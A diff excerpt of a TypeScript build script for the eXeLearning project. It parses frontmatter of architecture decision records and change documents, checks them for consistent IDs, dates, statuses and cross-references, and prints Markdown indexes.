null = null; + + const flush = (): void => { + if (currentKey === null) return; + if (currentList !== null) data[currentKey] = currentList; + else if (currentMap !== null) data[currentKey] = currentMap; + currentList = null; + currentMap = null; + currentKey = null; + }; + + for (const line of lines) { + if (line.trim() === '' || line.trim().startsWith('#')) continue; + + const topLevel = line.match(/^([A-Za-z_][A-Za-z0-9_]*):(.*)$/); + if (topLevel) { + flush(); + const key = topLevel[1]; + const rest = topLevel[2].trim(); + if (rest === '') { + currentKey = key; + } else { + data[key] = parseScalarOrInlineList(rest); + } + continue; + } + + const listItem = line.match(/^\s+-\s*(.*)$/); + if (listItem && currentKey !== null) { + currentMap = null; + currentList ??= []; + currentList.push(stripQuotes(listItem[1].trim())); + continue; + } + + const nested = line.match(/^\s+([A-Za-z_][A-Za-z0-9_]*):(.*)$/); + if (nested && currentKey !== null) { + currentList = null; + currentMap ??= {}; + currentMap[nested[1]] = parseScalarOrInlineList(nested[2].trim()); + } + } + flush(); + + return { data, body: match[2] }; +} + +function stripQuotes(value: string): string { + return value.replace(/^["'](.*)["']$/, '$1'); +} + +function parseScalarOrInlineList(raw: string): YamlValue { + if (raw.startsWith('[') && raw.endsWith(']')) { + const inner = raw.slice(1, -1).trim(); + if (inner === '') return []; + return inner.split(',').map(part => stripQuotes(part.trim())); + } + return stripQuotes(raw); +} + +// --------------------------------------------------------------------------- +// Model +// --------------------------------------------------------------------------- + +export type Adr = { + path: string; + file: string; + id: string; + issue: number; + sequence: string; + title: string; + status: string; + date: string; + trackingIssue: string; + legacyId: string | null; + supersedes: string[]; + supersededBy: string[]; + relatedAdrs: string[]; + relatedChanges: string[]; + relatedPrs: string[]; + deciders: string[]; + aiTool: string | null; + aiModel: string | null; + h1: string | null; +}; + +export type ChangeDoc = { + path: string; + name: string; + data: Record<string, YamlValue>; +}; + +export type Change = { + dir: string; + name: string; + issue: number; + slug: string; + documents: ChangeDoc[]; + canonical: ChangeDoc | null; + title: string; + status: string; + date: string; + implementationPrs: string[]; + relatedAdrs: string[]; + legacyId: string | null; +}; + +export type Diagnostic = { file: string; message: string }; + +function asList(value: YamlValue | undefined): string[] { + if (value === undefined) return []; + if (Array.isArray(value)) return value.map(String); + if (typeof value === 'object') return []; + const single = String(value).trim(); + return single === '' ? [] : [single]; +} + +function asString(value: YamlValue | undefined): string { + if (value === undefined) return ''; + if (typeof value === 'object') return ''; + return String(value); +} + +function nested(data: Record<string, YamlValue>, key: string, sub: string): YamlValue | undefined { + const node = data[key]; + if (node && typeof node === 'object' && !Array.isArray(node)) return node[sub]; + return undefined; +} + +// --------------------------------------------------------------------------- +// Discovery +// --------------------------------------------------------------------------- + +export function discoverAdrs(root: string, config: Config): { adrs: Adr[]; errors: Diagnostic[] } { + const dir = join(root, config.recordsDir); + const adrs: Adr[] = []; + const errors: Diagnostic[] = []; + if (!existsSync(dir)) return { adrs, errors }; + + for (const file of readdirSync(dir).sort()) { + if (!file.endsWith('.md')) continue; + if (file === 'README.md' || file === 'records.md' || file === 'template.md') continue; + + const rel = `${config.recordsDir}/${file}`; + + // The new grammar is checked first: `ADR-1858-01-slug.md` also starts with + // four digits, so the legacy pattern would otherwise shadow it. + const match = file.match(config.recordRe); + if (!match) { + errors.push({ + file: rel, + message: config.retiredNameRe.test(file) + ? 'uses the retired global numbering. Rename to ADR-<issue>-<NN>-<decision-slug>.md ' + + '(see doc/architecture/adr/README.md).' + : 'filename does not match ADR-<issue>-<NN>-<decision-slug>.md', + }); + continue; + } + + const parsed = parseFrontmatter(readFileSync(join(dir, file), 'utf8')); + if (!parsed) { + errors.push({ file: rel, message: 'missing YAML frontmatter' }); + continue; + } + + const { data, body } = parsed; + const h1 = body.match(/^# (.+)$/m)?.[1] ?? null; + + adrs.push({ + path: rel, + file, + id: asString(data.id), + issue: Number(match[1]), + sequence: match[2], + title: asString(data.title), + status: asString(data.status), + date: asString(data.date), + trackingIssue: asString(data.tracking_issue), + legacyId: data.legacy_id !== undefined ? asString(data.legacy_id) : null, + supersedes: asList(data.supersedes), + supersededBy: asList(data.superseded_by), + relatedAdrs: asList(nested(data, 'related', 'adrs')), + relatedChanges: asList(nested(data, 'related', 'changes')), + relatedPrs: asList(nested(data, 'related', 'prs')), + deciders: asList(data.deciders), + aiTool: data.ai_assistance !== undefined ? asString(nested(data, 'ai_assistance', 'tool')) : null, + aiModel: data.ai_assistance !== undefined ? asString(nested(data, 'ai_assistance', 'model')) : null, + h1, + }); + } + + return { adrs, errors }; +} + +export function discoverChanges(root: string, config: Config): { changes: Change[]; errors: Diagnostic[] } { + const dir = join(root, config.changesDir); + const changes: Change[] = []; + const errors: Diagnostic[] = []; + if (!existsSync(dir)) return { changes, errors }; + + for (const entry of readdirSync(dir).sort()) { + const full = join(dir, entry); + if (!statSync(full).isDirectory()) continue; + + const rel = `${config.changesDir}/${entry}`; + const match = entry.match(config.changeDirRe); + if (!match) { + errors.push({ file: rel, message: 'directory name does not match <issue>-<change-slug>' }); + continue; + } + + const documents: ChangeDoc[] = []; + for (const name of CHANGE_DOCUMENTS) { + const docPath = join(full, name); + if (!existsSync(docPath)) continue; + const parsed = parseFrontmatter(readFileSync(docPath, 'utf8')); + if (!parsed) { + errors.push({ file: `${rel}/${name}`, message: 'missing YAML frontmatter' }); + continue; + } + documents.push({ path: `${rel}/${name}`, name, data: parsed.data }); + } + + if (documents.length === 0) { + errors.push({ + file: rel, + message: `contains no recognised document (${CHANGE_DOCUMENTS.join(', ')})`, + }); + continue; + } + + const canonical = documents[0]; + changes.push({ + dir: rel, + name: entry, + issue: Number(match[1]), + slug: match[2], + documents, + canonical, + title: asString(canonical.data.title), + status: asString(canonical.data.status), + date: asString(canonical.data.date), + implementationPrs: asList(canonical.data.implementation_prs), + relatedAdrs: asList(canonical.data.related_adrs), + legacyId: canonical.data.legacy_id !== undefined ? asString(canonical.data.legacy_id) : null, + }); + } + + return { changes, errors }; +} + +// --------------------------------------------------------------------------- +// Validation +// --------------------------------------------------------------------------- + +export function isValidDate(value: string): boolean { + if (!/^\d{4}-\d{2}-\d{2}$/.test(value)) return false; + const [year, month, day] = value.split('-').map(Number); + const date = new Date(Date.UTC(year, month - 1, day)); + return date.getUTCFullYear() === year && date.getUTCMonth() === month - 1 && date.getUTCDate() === day; +} + +/** A tracking number: a real GitHub number, or the bootstrap sentinel `0`. */ +export function isTrackingNumber(value: string): boolean { + return POSITIVE_INT_RE.test(value); +} + +export function isPositiveInteger(value: string): boolean { + return /^[1-9][0-9]*$/.test(value); +} + +export function validate(adrs: Adr[], changes: Change[], config: Config): Diagnostic[] { + const problems: Diagnostic[] = []; + const add = (file: string, message: string): void => { + problems.push({ file, message }); + }; + + const adrIds = new Set(adrs.map(a => a.id)); + const changeNames = new Set(changes.map(c => c.name)); + const seenIds = new Map<string, string>(); + const seenSequences = new Map<string, string>(); + + for (const adr of adrs) { + const expectedId = `${config.prefix}-${adr.issue}-${adr.sequence}`; + + if (adr.id === '') add(adr.path, 'missing required field `id`'); + else if (adr.id !== expectedId) { + add(adr.path, `frontmatter id "${adr.id}" does not match filename (expected "${expectedId}")`); + } + + if (adr.title === '') add(adr.path, 'missing required field `title`'); + if (adr.date === '') add(adr.path, 'missing required field `date`'); + else if (!isValidDate(adr.date)) add(adr.path, `date "${adr.date}" is not a valid YYYY-MM-DD date`); + + if (adr.status === '') add(adr.path, 'missing required field `status`'); + else if (!(ADR_STATUSES as readonly string[]).includes(adr.status)) { + add(adr.path, `status "${adr.status}" is not one of ${ADR_STATUSES.join(', ')}`); + } + + if (adr.trackingIssue === '') add(adr.path, 'missing required field `tracking_issue`'); + else if (!isTrackingNumber(adr.trackingIssue)) { + add(adr.path, `tracking_issue "${adr.trackingIssue}" is not a positive integer`); + } else if (Number(adr.trackingIssue) !== adr.issue) { + add(adr.path, `tracking_issue ${adr.trackingIssue} does not match filename issue ${adr.issue}`); + } + + if (adr.deciders.length === 0) add(adr.path, 'missing required field `deciders`'); + if (adr.aiTool === null || adr.aiTool === '') { + add(adr.path, 'missing required field `ai_assistance.tool` (use `none` if no AI tool was used)'); + } + if (adr.aiModel === null || adr.aiModel === '') { + add(adr.path, 'missing required field `ai_assistance.model` (use `none` if no AI tool was used)'); + } + + const expectedH1 = `${expectedId}: ${adr.title}`; + if (adr.h1 === null) add(adr.path, 'missing H1 heading'); + else if (adr.h1 !== expectedH1) add(adr.path, `H1 is "${adr.h1}" but should be "${expectedH1}"`); + + const previousId = seenIds.get(adr.id); + if (previousId !== undefined) add(adr.path, `duplicate ADR id "${adr.id}" (also in ${previousId})`); + else if (adr.id !== '') seenIds.set(adr.id, adr.path); + + const sequenceKey = `${adr.issue}-${adr.sequence}`; + const previousSequence = seenSequences.get(sequenceKey); + if (previousSequence !== undefined) { + add( + adr.path, + `duplicate local sequence ${adr.sequence} for issue ${adr.issue} (also in ${previousSequence})`, + ); + } else seenSequences.set(sequenceKey, adr.path); + + for (const ref of adr.relatedAdrs) { + if (!adrIds.has(ref)) add(adr.path, `related.adrs references unknown ADR "${ref}"`); + } + for (const ref of adr.relatedChanges) { + if (!changeNames.has(ref)) add(adr.path, `related.changes references unknown change "${ref}"`); + } + for (const pr of adr.relatedPrs) { + if (!isPositiveInteger(pr)) add(adr.path, `related.prs value "${pr}" is not a positive integer`); + } + + for (const ref of adr.supersedes) { + if (ref === adr.id) add(adr.path, 'ADR cannot supersede itself'); + else if (!adrIds.has(ref)) add(adr.path, `supersedes references unknown ADR "${ref}"`); + else { + const target = adrs.find(a => a.id === ref); + if (target && !target.supersededBy.includes(adr.id)) { + add(adr.path, `supersedes "${ref}" but ${target.path} does not list superseded_by: [${adr.id}]`); + } + if (target && target.status !== 'Superseded') { + add(target.path, `is superseded by ${adr.id} but status is "${target.status}", not "Superseded"`); + } + } + } + for (const ref of adr.supersededBy) { + if (ref === adr.id) add(adr.path, 'ADR cannot be superseded by itself'); + else if (!adrIds.has(ref)) add(adr.path, `superseded_by references unknown ADR "${ref}"`); + else { + const target = adrs.find(a => a.id === ref); + if (target && !target.supersedes.includes(adr.id)) { + add(adr.path, `superseded_by "${ref}" but ${target.path} does not list supersedes: [${adr.id}]`); + } + } + } + } + + for (const change of changes) { + const canonical = change.canonical; + if (canonical === null) continue; + + if (change.title === '') add(canonical.path, 'missing required field `title`'); + if (change.date === '') add(canonical.path, 'missing required field `date`'); + else if (!isValidDate(change.date)) { + add(canonical.path, `date "${change.date}" is not a valid YYYY-MM-DD date`); + } + + if (change.status === '') add(canonical.path, 'missing required field `status`'); + else if (!(CHANGE_STATUSES as readonly string[]).includes(change.status)) { + add(canonical.path, `status "${change.status}" is not one of ${CHANGE_STATUSES.join(', ')}`); + } + + for (const pr of change.implementationPrs) { + if (!isPositiveInteger(pr)) { + add(canonical.path, `implementation_prs value "${pr}" is not a positive integer`); + } + } + for (const ref of change.relatedAdrs) { + if (!adrIds.has(ref)) add(canonical.path, `related_adrs references unknown ADR "${ref}"`); + } + + for (const doc of change.documents) { + const issue = asString(doc.data.tracking_issue); + if (issue === '') add(doc.path, 'missing required field `tracking_issue`'); + else if (!isPositiveInteger(issue)) { + add(doc.path, `tracking_issue "${issue}" is not a positive integer`); + } else if (Number(issue) !== change.issue) { + add(doc.path, `tracking_issue ${issue} does not match change directory issue ${change.issue}`); + } + + if (asString(doc.data.title) === '') add(doc.path, 'missing required field `title`'); + + for (const pr of asList(doc.data.related_prs)) { + if (!isPositiveInteger(pr)) add(doc.path, `related_prs value "${pr}" is not a positive integer`); + } + + if (doc !== canonical && doc.data.implementation_prs !== undefined) { + add( + doc.path, + `declares implementation_prs, but ${canonical.name} is the canonical metadata carrier for this change`, + ); + } + } + } + + return problems; +} + +/** + * The index is derived, not stored. Committing it reintroduces exactly the + * merge-conflict class this convention removes, so its presence is an error. + */ +export function findCommittedIndexes(files: string[], config: Config): Diagnostic[] { + return files + .filter(file => file === `${config.recordsDir}/records.md` || file === `${config.changesDir}/records.md`) + .map(file => ({ + file, + message: + 'the record index must not be committed — it is derived from frontmatter and ' + + 'conflicts on every concurrent branch. Delete it; `make architecture-records` prints it.', + })); +} + +/** Scans tracked files for retired identifiers outside the documented allowlist. */ +export function findLegacyReferences(root: string, files: string[], config: Config): Diagnostic[] { + const problems: Diagnostic[] = []; + for (const file of files) { + if (config.legacyAllowlist.some(allowed => file === allowed || file.startsWith(allowed))) { + continue; + } + const full = join(root, file); + if (!existsSync(full)) continue; + + let content: string; + try { + content = readFileSync(full, 'utf8'); + } catch { + continue; + } + if (content.includes('\0')) continue; + + // A migrated document may name its own former identifier, so that the + // provenance note in the document itself stays readable. + const ownLegacyId = file.endsWith('.md') + ? (parseFrontmatter(content)?.data.legacy_id as string | undefined) + : undefined; + + content.split(/\r?\n/).forEach((line, index) => { + if (line.includes('legacy_id:')) return; + const hit = config.retiredRe ? line.match(config.retiredRe) : null; + if (hit && ownLegacyId !== undefined && hit[0] === ownLegacyId) return; + if (hit) { + problems.push({ + file: `${file}:${index + 1}`, + message: `references retired identifier "${hit[0]}". Use the current identifier.`, + }); + } + }); + } + return problems; +} + +// --------------------------------------------------------------------------- +// Index generation +// --------------------------------------------------------------------------- + +export function sortAdrs(adrs: Adr[]): Adr[] { + return [...adrs].sort((a, b) => a.issue - b.issue || a.sequence.localeCompare(b.sequence)); +} + +export function sortChanges(changes: Change[]): Change[] { + return [...changes].sort((a, b) => a.issue - b.issue || a.slug.localeCompare(b.slug)); +} + +function issueLink(issue: number): string { + return `[#${issue}](https://github.com/exelearning/exelearning/issues/${issue})`; +} + +export function renderAdrIndex(adrs: Adr[], config: Config): string { + const sorted = sortAdrs(adrs); + const lines: string[] = [ + GENERATED_BANNER, + '', + '# ADR Index', + '', + 'Architecture Decision Records for the main eXeLearning repository, ordered by', + 'tracking number and then by local sequence. See doc/architecture/adr/README.md', + 'for the policy.', + '', + '| ID | Title | Status | Issue | Date |', + '|---|---|---|---|---|', + ]; + + for (const adr of sorted) { + lines.push( + `| [${adr.id}](${adr.file}) | ${adr.title} | ${adr.status} | ${issueLink(adr.issue)} | ${adr.date} |`, + ); + } + + for (const status of ADR_STATUSES) { + lines.push('', `## ${status}`, ''); + const group = sorted.filter(adr => adr.status === status); + if (group.length === 0) { + lines.push(`_No ${status.toLowerCase()} ADRs._`); + continue; + } + for (const adr of group) { + const supersession = adr.supersededBy.length > 0 ? ` — superseded by ${adr.supersededBy.join(', ')}` : ''; + lines.push(`- [${adr.id}](${adr.file}) — ${adr.title}${supersession}`); + } + } + + return `${lines.join('\n')}\n`; +} + +export function renderChangeIndex(changes: Change[], config: Config): string { + const sorted = sortChanges(changes); + const lines: string[] = [ + GENERATED_BANNER, + '', + '# Change Index', + '', + 'Change proposals, specifications and designs for the main eXeLearning repository,', + 'ordered by tracking number. Each change lives in its own directory named', + '`<number>-<change-slug>`. See doc/architecture/changes/README.md for the policy.', + '', + '| Change | Title | Status | Issue | Date | Documents |', + '|---|---|---|---|---|---|', + ]; + + for (const change of sorted) { + const docs = change.documents + .map(doc => `[${doc.name.replace(/\.md$/, '')}](${change.name}/${doc.name})`) + .join(', '); + lines.push( + `| \`${change.name}\` | ${change.title} | ${change.status} | ${issueLink(change.issue)} | ${change.date} | ${docs} |`, + ); + } + + for (const status of CHANGE_STATUSES) { + lines.push('', `## ${status}`, ''); + const group = sorted.filter(change => change.status === status); + if (group.length === 0) { + lines.push(`_No ${status} changes._`); + continue; + } + for (const change of group) { + const adrs = change.relatedAdrs.length > 0 ? ` — ${change.relatedAdrs.join(', ')}` : ''; + lines.push(`- [\`${change.name}\`](${change.name}/${change.documents[0].name}) — ${change.title}${adrs}`); + } + } + + return `${lines.join('\n')}\n`; +} + +// --------------------------------------------------------------------------- +// CLI +// --------------------------------------------------------------------------- + +/** + * Tracked files plus not-yet-added ones, honouring .gitignore. Including + * untracked files matters: otherwise a brand-new file passes `check` locally + * and only fails in CI, once it has been committed. + */ +function trackedFiles(root: string): string[] { + // node:child_process rather than Bun.spawnSync: this file is copied verbatim + // into the plugin repositories, which run it with the Node that ships on the + // CI image. It must execute identically under both runtimes. + try { + const out = execFileSync('git', ['ls-files', '--cached', '--others', '--exclude-standard'], { + cwd: root, + encoding: 'utf8', + }); + return [...new Set(out.split('\n').filter(Boolean))]; + } catch { + return []; + } +} + +function report(title: string, problems: Diagnostic[]): void { + if (problems.length === 0) return; + console.error(`\n${title}`); + for (const problem of problems) console.error(` ✗ ${problem.file}: ${problem.message}`); +} + +export function run(mode: 'list' | 'check', root: string): number { + const config = loadConfig(root); + const { adrs, errors: adrErrors } = discoverAdrs(root, config); + const { changes, errors: changeErrors } = discoverChanges(root, config); + const structural = [...adrErrors, ...changeErrors]; + + if (mode === 'list') { + report('Structural problems:', structural); + if (structural.length > 0) { + console.error('\nRefusing to list records while structural problems remain.'); + return 1; + } + console.log(renderAdrIndex(adrs, config)); + console.log(renderChangeIndex(changes, config)); + return 0; + } + + const files = trackedFiles(root); + const metadata = validate(adrs, changes, config); + const legacy = findLegacyReferences(root, files, config); + const committedIndexes = findCommittedIndexes(files, config); + + report('Structural problems:', structural); + report('Metadata problems:', metadata); + report('Retired identifier references:', legacy); + report('Committed index:', committedIndexes); + + const bootstrap = adrs.filter(adr => adr.issue === BOOTSTRAP_NUMBER).length; + const total = structural.length + metadata.length + legacy.length + committedIndexes.length; + if (total === 0) { + console.log(`Architecture records OK — ${adrs.length} records${bootstrap > 0 ? ` (${bootstrap} from repository bootstrap)` : ''}, ${changes.length} changes.`); + return 0; + } + console.error(`\n${total} problem(s) found.`); + return 1; +} + +if (import.meta.main) { + const mode = process.argv[2]; + if (mode !== 'list' && mode !== 'check') { + console.error('Usage: bun run scripts/architecture-records.mts <list|check>'); + process.exit(2); + } + process.exit(run(mode, process.cwd())); +}